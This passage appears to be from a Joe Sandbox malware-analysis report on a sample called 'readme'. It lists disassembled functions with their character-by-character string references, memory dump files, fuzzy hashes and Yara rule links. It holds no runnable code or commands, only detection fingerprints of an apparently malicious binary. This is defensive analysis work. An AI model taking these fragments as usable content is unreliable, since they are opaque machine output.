w, xrefs: 0040F998
g, xrefs: 0040FB25
t, xrefs: 0040F518
e, xrefs: 0040F520
a, xrefs: 0040F85D
H, xrefs: 0040F069
r, xrefs: 0040F6F4
r, xrefs: 0040F357
t, xrefs: 0040FDB0
n, xrefs: 0040F94A
b, xrefs: 0040F724

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-226567699
Opcode ID: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
Instruction ID: 897faa67981242d41c61dfb40b62df43763f7642aa4407e7da9ffeee02b4687e
Opcode Fuzzy Hash: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
Instruction Fuzzy Hash: 36929F2400D7C189E332C72884587DFBFD25BA6718F488E9ED4ED1B292C6BA0159C767

Function 0040F0E9 Relevance: 160.6, Strings: 128, Instructions: 572COMMON

Download Yara Rule

Strings

s, xrefs: 0040FB74
e, xrefs: 0040F95A
i, xrefs: 0040F979
n, xrefs: 0040F981
m, xrefs: 0040F5F5
a, xrefs: 0040F64C
`, xrefs: 0040F6B4
g, xrefs: 0040F989
s, xrefs: 0040F605
g, xrefs: 0040F624
eroon, xrefs: 0040FCD5
l, xrefs: 0040F6C4
t, xrefs: 0040F5DD
i, xrefs: 0040F510
h, xrefs: 0040F922
e, xrefs: 0040FB3D
r, xrefs: 0040F932
n, xrefs: 0040FD61
i, xrefs: 0040F67B
o, xrefs: 0040F71C
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
n, xrefs: 0040F33F
5, xrefs: 0040FA06
l, xrefs: 0040F801
d, xrefs: 0040FB5C
h, xrefs: 0040F508
k, xrefs: 0040F86D
p, xrefs: 0040F39E
n, xrefs: 0040F90B
r, xrefs: 0040F87D
r, xrefs: 0040FB2D
a, xrefs: 0040FB54
a, xrefs: 0040FB64
e, xrefs: 0040FD69
s, xrefs: 0040F35F
w, xrefs: 0040F855
g, xrefs: 0040F913
o, xrefs: 0040F2A0
b, xrefs: 0040F3CE
o, xrefs: 0040F8FB
J, xrefs: 0040F196
z, xrefs: 0040F962
agy, xrefs: 0040FE18
q, xrefs: 0040F2E7
t, xrefs: 0040F9C0
d, xrefs: 0040F347
e, xrefs: 0040F847
n, xrefs: 0040F93A
n, xrefs: 0040FB45
r, xrefs: 0040F714
a, xrefs: 0040F62C
6, xrefs: 0040F2DF
i, xrefs: 0040F9A8
r, xrefs: 0040F2A8
e, xrefs: 0040FD4A
s, xrefs: 0040F557
e, xrefs: 0040F92A
z, xrefs: 0040FD52
#, xrefs: 0040FA1E
d, xrefs: 0040F952
s, xrefs: 0040FD79
n, xrefs: 0040F8E4
l, xrefs: 0040FD71
6, xrefs: 0040F663
r, xrefs: 0040FDA8
d, xrefs: 0040F79A
g, xrefs: 0040F9B0
l, xrefs: 0040F842
m, xrefs: 0040FB6C
o, xrefs: 0040F792
y, xrefs: 0040F8F3
B, xrefs: 0040F5CE
r, xrefs: 0040FDC0
i, xrefs: 0040F644
h, xrefs: 0040F9B8
h, xrefs: 0040F5E5
e, xrefs: 0040FDB8
gibor, xrefs: 0040FE9D
e, xrefs: 0040F875
irdor, xrefs: 0040FE34
a, xrefs: 0040F337
r, xrefs: 0040F7A2
herej, xrefs: 0040FC78
], xrefs: 0040F7F9
h, xrefs: 0040FA53
c, xrefs: 0040F63C
e, xrefs: 0040F8CB
r, xrefs: 0040F78A
o, xrefs: 0040F5ED
e, xrefs: 0040F34F
>, xrefs: 0040F2D7
l, xrefs: 0040F865
n, xrefs: 0040F615
a, xrefs: 0040FDA0
7, xrefs: 0040F65B
o, xrefs: 0040F298
e, xrefs: 0040FB35
u, xrefs: 0040F903
n, xrefs: 0040FD89
k, xrefs: 0040F971
o, xrefs: 0040F367
p, xrefs: 0040F5FD
w, xrefs: 0040F500
r, xrefs: 0040F9A0
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
e, xrefs: 0040F84C
lybor, xrefs: 0040FC6D
c, xrefs: 0040FD98
e, xrefs: 0040F3BE
o, xrefs: 0040F60D
h, xrefs: 0040F596
i, xrefs: 0040F72C
l, xrefs: 0040FD42
r, xrefs: 0040F634
>, xrefs: 0040FA5B
a, xrefs: 0040F942
w, xrefs: 0040F998
g, xrefs: 0040FB25
t, xrefs: 0040F518
e, xrefs: 0040F520
a, xrefs: 0040F85D
r, xrefs: 0040F6F4
r, xrefs: 0040F357
t, xrefs: 0040FDB0
n, xrefs: 0040F94A
b, xrefs: 0040F724

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: #$5$6$6$7$>$>$B$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 0-1314068085
Opcode ID: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
Instruction ID: 9d4485feb2a8a036b1cfc007295b7909a2e3c490d21ab14ed2397911ff3ccdd3
Opcode Fuzzy Hash: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
Instruction Fuzzy Hash: 02829E2450D7C189E332C7288458BDFBFD25BE6718F488E9EC4DD1B292C6BA0259C767

Function 0040F1C7 Relevance: 159.3, Strings: 127, Instructions: 534COMMON

Download Yara Rule

Strings

s, xrefs: 0040FB74
e, xrefs: 0040F95A
i, xrefs: 0040F979
n, xrefs: 0040F981
m, xrefs: 0040F5F5
a, xrefs: 0040F64C
`, xrefs: 0040F6B4
g, xrefs: 0040F989
s, xrefs: 0040F605
g, xrefs: 0040F624
eroon, xrefs: 0040FCD5
l, xrefs: 0040F6C4
t, xrefs: 0040F5DD
i, xrefs: 0040F510
h, xrefs: 0040F922
e, xrefs: 0040FB3D
r, xrefs: 0040F932
n, xrefs: 0040FD61
i, xrefs: 0040F67B
o, xrefs: 0040F71C
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
n, xrefs: 0040F33F
5, xrefs: 0040FA06
l, xrefs: 0040F801
d, xrefs: 0040FB5C
h, xrefs: 0040F508
k, xrefs: 0040F86D
p, xrefs: 0040F39E
n, xrefs: 0040F90B
r, xrefs: 0040F87D
r, xrefs: 0040FB2D
a, xrefs: 0040FB54
a, xrefs: 0040FB64
e, xrefs: 0040FD69
s, xrefs: 0040F35F
w, xrefs: 0040F855
g, xrefs: 0040F913
o, xrefs: 0040F2A0
b, xrefs: 0040F3CE
o, xrefs: 0040F8FB
z, xrefs: 0040F962
agy, xrefs: 0040FE18
q, xrefs: 0040F2E7
t, xrefs: 0040F9C0
d, xrefs: 0040F347
e, xrefs: 0040F847
n, xrefs: 0040F93A
n, xrefs: 0040FB45
r, xrefs: 0040F714
a, xrefs: 0040F62C
6, xrefs: 0040F2DF
i, xrefs: 0040F9A8
r, xrefs: 0040F2A8
e, xrefs: 0040FD4A
s, xrefs: 0040F557
e, xrefs: 0040F92A
z, xrefs: 0040FD52
#, xrefs: 0040FA1E
d, xrefs: 0040F952
s, xrefs: 0040FD79
n, xrefs: 0040F8E4
l, xrefs: 0040FD71
6, xrefs: 0040F663
r, xrefs: 0040FDA8
d, xrefs: 0040F79A
g, xrefs: 0040F9B0
l, xrefs: 0040F842
m, xrefs: 0040FB6C
o, xrefs: 0040F792
y, xrefs: 0040F8F3
B, xrefs: 0040F5CE
r, xrefs: 0040FDC0
i, xrefs: 0040F644
h, xrefs: 0040F9B8
h, xrefs: 0040F5E5
e, xrefs: 0040FDB8
gibor, xrefs: 0040FE9D
e, xrefs: 0040F875
irdor, xrefs: 0040FE34
a, xrefs: 0040F337
r, xrefs: 0040F7A2
herej, xrefs: 0040FC78
], xrefs: 0040F7F9
h, xrefs: 0040FA53
c, xrefs: 0040F63C
e, xrefs: 0040F8CB
r, xrefs: 0040F78A
o, xrefs: 0040F5ED
e, xrefs: 0040F34F
>, xrefs: 0040F2D7
l, xrefs: 0040F865
n, xrefs: 0040F615
a, xrefs: 0040FDA0
7, xrefs: 0040F65B
o, xrefs: 0040F298
e, xrefs: 0040FB35
u, xrefs: 0040F903
n, xrefs: 0040FD89
k, xrefs: 0040F971
o, xrefs: 0040F367
p, xrefs: 0040F5FD
w, xrefs: 0040F500
r, xrefs: 0040F9A0
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
e, xrefs: 0040F84C
lybor, xrefs: 0040FC6D
c, xrefs: 0040FD98
e, xrefs: 0040F3BE
o, xrefs: 0040F60D
h, xrefs: 0040F596
i, xrefs: 0040F72C
l, xrefs: 0040FD42
r, xrefs: 0040F634
>, xrefs: 0040FA5B
a, xrefs: 0040F942
w, xrefs: 0040F998
g, xrefs: 0040FB25
t, xrefs: 0040F518
e, xrefs: 0040F520
a, xrefs: 0040F85D
r, xrefs: 0040F6F4
r, xrefs: 0040F357
t, xrefs: 0040FDB0
n, xrefs: 0040F94A
b, xrefs: 0040F724

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CountTick
String ID: #$5$6$6$7$>$>$B$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 536389180-3007975938
Opcode ID: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
Instruction ID: 3eef77c2757c53a506e9ba4930021fd98a878e4b0ac0346694406f782fac75c3
Opcode Fuzzy Hash: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
Instruction Fuzzy Hash: AE729D2054D7C189E332C72884587DFBFD26BE6718F488E9ED4DD1B292C6BA0258C767

Function 0040DBF0 Relevance: 148.3, Strings: 118, Instructions: 783COMMON

Download Yara Rule

Strings

i, xrefs: 0040DD7E
j, xrefs: 0040E55F
!, xrefs: 0040E323
,, xrefs: 0040E3CB
a, xrefs: 0040E9DA
n, xrefs: 0040E9C2
n, xrefs: 0040DDCE
n, xrefs: 0040E7C5
b, xrefs: 0040DDA5
n, xrefs: 0040ECE3
c, xrefs: 0040DD95
a, xrefs: 0040DC22
A, xrefs: 0040E306
Ljq, xrefs: 0040E5C0
a, xrefs: 0040EAAE
y, xrefs: 0040DD9D
a, xrefs: 0040ECCB
l, xrefs: 0040E786
r, xrefs: 0040E7D5
g, xrefs: 0040E73F
,, xrefs: 0040E30B
a, xrefs: 0040E528
d, xrefs: 0040DE0E
a, xrefs: 0040E7BD
n, xrefs: 0040DC82
d, xrefs: 0040DC1A
rebyc, xrefs: 0040ED77
e, xrefs: 0040DDE7
n, xrefs: 0040E9A3
d, xrefs: 0040E9CA
o, xrefs: 0040E394
lmada, xrefs: 0040ED07
t, xrefs: 0040DC8A
a, xrefs: 0040E62E
o, xrefs: 0040E1F6
h, xrefs: 0040E39C
j, xrefs: 0040E38C
W, xrefs: 0040DF3A
g, xrefs: 0040DD86
r, xrefs: 0040E9D2
m, xrefs: 0040E9F9
b, xrefs: 0040E954
n, xrefs: 0040E424
dualc, xrefs: 0040EC6E
N, xrefs: 0040DF5A
a, xrefs: 0040E7A6
e, xrefs: 0040E95C
e, xrefs: 0040E63E
fna, xrefs: 0040E8D9
y, xrefs: 0040E1E6
6, xrefs: 0040E3C3
(, xrefs: 0040E301
A, xrefs: 0040DF4A
@, xrefs: 0040DF62
e, xrefs: 0040DC7A
u, xrefs: 0040E530
n, xrefs: 0040E1FE
3, xrefs: 0040E915
d, xrefs: 0040E7CD
e, xrefs: 0040DDAD
y, xrefs: 0040E974
l, xrefs: 0040EAC6
s, xrefs: 0040E328
d, xrefs: 0040DDC4
a, xrefs: 0040DD76
a, xrefs: 0040DDDF
I, xrefs: 0040E8FD
c, xrefs: 0040EAA6
d, xrefs: 0040E79E
d, xrefs: 0040DDF6
s, xrefs: 0040E9B2
j, xrefs: 0040E626
n, xrefs: 0040E636
q, xrefs: 0040E557
i, xrefs: 0040DE06
d, xrefs: 0040DDD7
hyb, xrefs: 0040ED23
<, xrefs: 0040E777
s, xrefs: 0040E1EE
s, xrefs: 0040E7B5
m, xrefs: 0040DC2A
a, xrefs: 0040DC12
e, xrefs: 0040DC39
n, xrefs: 0040E42C
f, xrefs: 0040E2F7
r, xrefs: 0040DC72
e, xrefs: 0040E0F8
W, xrefs: 0040E141
l, xrefs: 0040E520
t, xrefs: 0040E96C
e, xrefs: 0040E99B
n, xrefs: 0040E3A4
a, xrefs: 0040E7DD
r, xrefs: 0040DD6E
!, xrefs: 0040E3FB
a, xrefs: 0040E434
c, xrefs: 0040E518
r, xrefs: 0040EAB6
a, xrefs: 0040DDFE
r, xrefs: 0040ECD3
o, xrefs: 0040E3BB
j, xrefs: 0040DEFD
t, xrefs: 0040E964
h, xrefs: 0040ECC3
o, xrefs: 0040ECDB
C, xrefs: 0040E747
x$], xrefs: 0040E376
n, xrefs: 0040E796
S, xrefs: 0040E71F
a, xrefs: 0040E9BA
i, xrefs: 0040E78E
s, xrefs: 0040E108
o, xrefs: 0040EABE
s, xrefs: 0040ECBB
O, xrefs: 0040E3DB
b, xrefs: 0040DC6A
l, xrefs: 0040E0E8
B, xrefs: 0040E2FC

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$c$c$c$d$d$d$d$d$d$d$d$dualc$e$e$e$e$e$e$e$e$f$fna$g$g$h$h$hyb$i$i$i$j$j$j$j$l$l$l$l$lmada$m$m$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$t$u$x$]$y$y$y
API String ID: 0-398216896
Opcode ID: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
Instruction ID: 783009e22913d8b145aff4382d8fc585394a81b2b82b9b90aaca791fecb38a32
Opcode Fuzzy Hash: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
Instruction Fuzzy Hash: 00A2CF2000D7C189E332C77894547DFBFD11BA6318F489E9ED4ED6A292C6BA0259CB77

Function 0040DE56 Relevance: 114.4, Strings: 91, Instructions: 682COMMON

Download Yara Rule

Strings

6, xrefs: 0040E3C3
(, xrefs: 0040E301
A, xrefs: 0040DF4A
@, xrefs: 0040DF62
u, xrefs: 0040E530
n, xrefs: 0040E1FE
3, xrefs: 0040E915
j, xrefs: 0040E55F
d, xrefs: 0040E7CD
!, xrefs: 0040E323
y, xrefs: 0040E974
l, xrefs: 0040EAC6
,, xrefs: 0040E3CB
a, xrefs: 0040E9DA
s, xrefs: 0040E328
n, xrefs: 0040E9C2
I, xrefs: 0040E8FD
c, xrefs: 0040EAA6
d, xrefs: 0040E79E
n, xrefs: 0040E7C5
n, xrefs: 0040ECE3
s, xrefs: 0040E9B2
j, xrefs: 0040E626
n, xrefs: 0040E636
q, xrefs: 0040E557
A, xrefs: 0040E306
Ljq, xrefs: 0040E5C0
hyb, xrefs: 0040ED23
<, xrefs: 0040E777
s, xrefs: 0040E1EE
a, xrefs: 0040EAAE
s, xrefs: 0040E7B5
a, xrefs: 0040ECCB
l, xrefs: 0040E786
r, xrefs: 0040E7D5
g, xrefs: 0040E73F
,, xrefs: 0040E30B
a, xrefs: 0040E528
n, xrefs: 0040E42C
f, xrefs: 0040E2F7
a, xrefs: 0040E7BD
e, xrefs: 0040E0F8
rebyc, xrefs: 0040ED77
W, xrefs: 0040E141
l, xrefs: 0040E520
t, xrefs: 0040E96C
e, xrefs: 0040E99B
n, xrefs: 0040E3A4
a, xrefs: 0040E7DD
!, xrefs: 0040E3FB
n, xrefs: 0040E9A3
d, xrefs: 0040E9CA
o, xrefs: 0040E394
lmada, xrefs: 0040ED07
a, xrefs: 0040E434
c, xrefs: 0040E518
r, xrefs: 0040EAB6
a, xrefs: 0040E62E
o, xrefs: 0040E1F6
h, xrefs: 0040E39C
r, xrefs: 0040ECD3
o, xrefs: 0040E3BB
j, xrefs: 0040E38C
W, xrefs: 0040DF3A
j, xrefs: 0040DEFD
t, xrefs: 0040E964
h, xrefs: 0040ECC3
o, xrefs: 0040ECDB
C, xrefs: 0040E747
x$], xrefs: 0040E376
r, xrefs: 0040E9D2
m, xrefs: 0040E9F9
n, xrefs: 0040E796
b, xrefs: 0040E954
n, xrefs: 0040E424
S, xrefs: 0040E71F
dualc, xrefs: 0040EC6E
a, xrefs: 0040E9BA
i, xrefs: 0040E78E
N, xrefs: 0040DF5A
a, xrefs: 0040E7A6
e, xrefs: 0040E95C
s, xrefs: 0040E108
o, xrefs: 0040EABE
s, xrefs: 0040ECBB
e, xrefs: 0040E63E
O, xrefs: 0040E3DB
fna, xrefs: 0040E8D9
l, xrefs: 0040E0E8
B, xrefs: 0040E2FC
y, xrefs: 0040E1E6

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$j$l$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$u$x$]$y$y
API String ID: 0-1246891121
Opcode ID: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
Instruction ID: a28a096e937e9de4dcdb39462e473e9428d52a79a1e09a05438f9163ff59b36a
Opcode Fuzzy Hash: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
Instruction Fuzzy Hash: 0192C02400D7C18AE332CB7894547DFFFD15BA6318F489E9EC4ED6A292C6B60149CB67

Function 00405310 Relevance: 110.6, APIs: 2, Strings: 61, Instructions: 376COMMON

Download Yara Rule

Strings

g, xrefs: 004055D3
o, xrefs: 00405629
b, xrefs: 00405646
u, xrefs: 00405662
d, xrefs: 004053B2
o, xrefs: 00405553
o, xrefs: 00405616
p, xrefs: 00405809
w, xrefs: 004056A7
n, xrefs: 0040566C
b, xrefs: 00405641
m, xrefs: 004055C9
I, xrefs: 0040585F
g, xrefs: 00405391
{, xrefs: 004055FA
s, xrefs: 00405620
l, xrefs: 00405469
p, xrefs: 004057FF
r, xrefs: 0040568E
p, xrefs: 0040547D
h, xrefs: 00405451
t, xrefs: 00405843
t, xrefs: 0040582A
m, xrefs: 0040584B
z, xrefs: 004055EB
s, xrefs: 00405478
s, xrefs: 004056AC
m, xrefs: 00405461
$, xrefs: 00405367
t, xrefs: 004056C4
t, xrefs: 004053C2
t, xrefs: 00405633
h, xrefs: 004053BA
D, xrefs: 00405371
', xrefs: 0040536C
i, xrefs: 00405396
s, xrefs: 00405833
p, xrefs: 00405812
i, xrefs: 00405667
8, xrefs: 00405869
>, xrefs: 004053DE
E, xrefs: 0040537B
q, xrefs: 00405698
h, xrefs: 00405804
s, xrefs: 00405820
", xrefs: 00405376
t, xrefs: 004054EF
v, xrefs: 004055F0
*, xrefs: 004054EA
c, xrefs: 0040538C
t, xrefs: 00405459
m, xrefs: 004053CA
h, xrefs: 00405825
h, xrefs: 004056B1
h, xrefs: 0040583B
f, xrefs: 0040562E
b, xrefs: 00405341
t, xrefs: 0040563C
d, xrefs: 0040561B
s, xrefs: 004055CE
l, xrefs: 00405817

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: "$$$'$*$8$>$D$E$I$b$b$b$c$d$d$f$g$g$h$h$h$h$h$h$i$i$l$l$m$m$m$m$n$o$o$o$p$p$p$p$q$r$s$s$s$s$s$s$t$t$t$t$t$t$t$t$u$v$w$z${
API String ID: 0-1889039134
Opcode ID: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
Instruction ID: d93a35099a26fe614cb1a3d73480c0d45d8b3759dc0d557f6e2bb2caa7de7eb8
Opcode Fuzzy Hash: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
Instruction Fuzzy Hash: 5C12E82540D7C1CDD322CB28945478FFFD15FA6618F489E9EE1E847392D2BA8209CB67

Function 00409CF7 Relevance: 109.5, Strings: 87, Instructions: 708COMMON

Download Yara Rule

Strings

c, xrefs: 0040A98F
&, xrefs: 0040A51D
$, xrefs: 0040A7EC
Z, xrefs: 0040AA1E
7, xrefs: 0040A5C5
O, xrefs: 00409F6E
, xrefs: 0040A4FD
V, xrefs: 0040A75E
&, xrefs: 0040A32F
d, xrefs: 0040A96F
:, xrefs: 0040A3E2
-, xrefs: 0040A33F
p, xrefs: 0040A3C2
H, xrefs: 0040A0A1
V, xrefs: 00409F66
d, xrefs: 0040A868
t, xrefs: 00409E87
*, xrefs: 0040A5A5
L, xrefs: 0040A04F
h, xrefs: 0040A69E
2, xrefs: 0040A3DA
', xrefs: 0040A844
_, xrefs: 0040A61E
d, xrefs: 0040A160
), xrefs: 0040A8BB
l, xrefs: 0040A987
!, xrefs: 0040A565
4, xrefs: 0040AA23
u, xrefs: 0040A880
}, xrefs: 0040A34F
`, xrefs: 0040A68E
", xrefs: 0040AA3D
P, xrefs: 0040A766
i, xrefs: 00409E0D
O, xrefs: 0040A5D5
{, xrefs: 0040A170
C, xrefs: 00409F76
9, xrefs: 0040A057
#, xrefs: 00409E1D
Z, xrefs: 00409E9F
E, xrefs: 0040A03F
?, xrefs: 0040A555
:, xrefs: 0040A80C
K, xrefs: 00409EA7
#, xrefs: 0040A626
., xrefs: 00409F96
], xrefs: 0040A97F
T, xrefs: 00409D6A
4, xrefs: 00409D95
@, xrefs: 0040A030
L, xrefs: 0040AA35
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
I, xrefs: 0040A834
[, xrefs: 0040A1F2
E, xrefs: 0040AA59
Z, xrefs: 00409D00
t, xrefs: 0040A858
g, xrefs: 0040A0A9
n, xrefs: 00409D85
K, xrefs: 00409F8E
_, xrefs: 0040A814
P, xrefs: 0040A64E
), xrefs: 00409D7D
E, xrefs: 0040A236
5, xrefs: 0040A646
;, xrefs: 0040A62E
., xrefs: 00409FA0
d, xrefs: 0040A878
D, xrefs: 0040A7E4
", xrefs: 0040A047
;, xrefs: 0040A5BD
r, xrefs: 0040A860
T, xrefs: 0040A7DC
\, xrefs: 0040A03A
F, xrefs: 0040A63E
+, xrefs: 0040A83C
J, xrefs: 0040AA4A
9, xrefs: 0040A1D2
s, xrefs: 0040A804
j, xrefs: 0040A0B1
B, xrefs: 00409F86
^, xrefs: 00409F7E
}, xrefs: 0040A505
o, xrefs: 0040A870
[, xrefs: 00409E97
^, xrefs: 0040A595

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$&$&$'$)$)$*$+$-$.$.$2$4$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$[$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$i$j$l$n$o$p$r$s$t$t$u${${$}$}
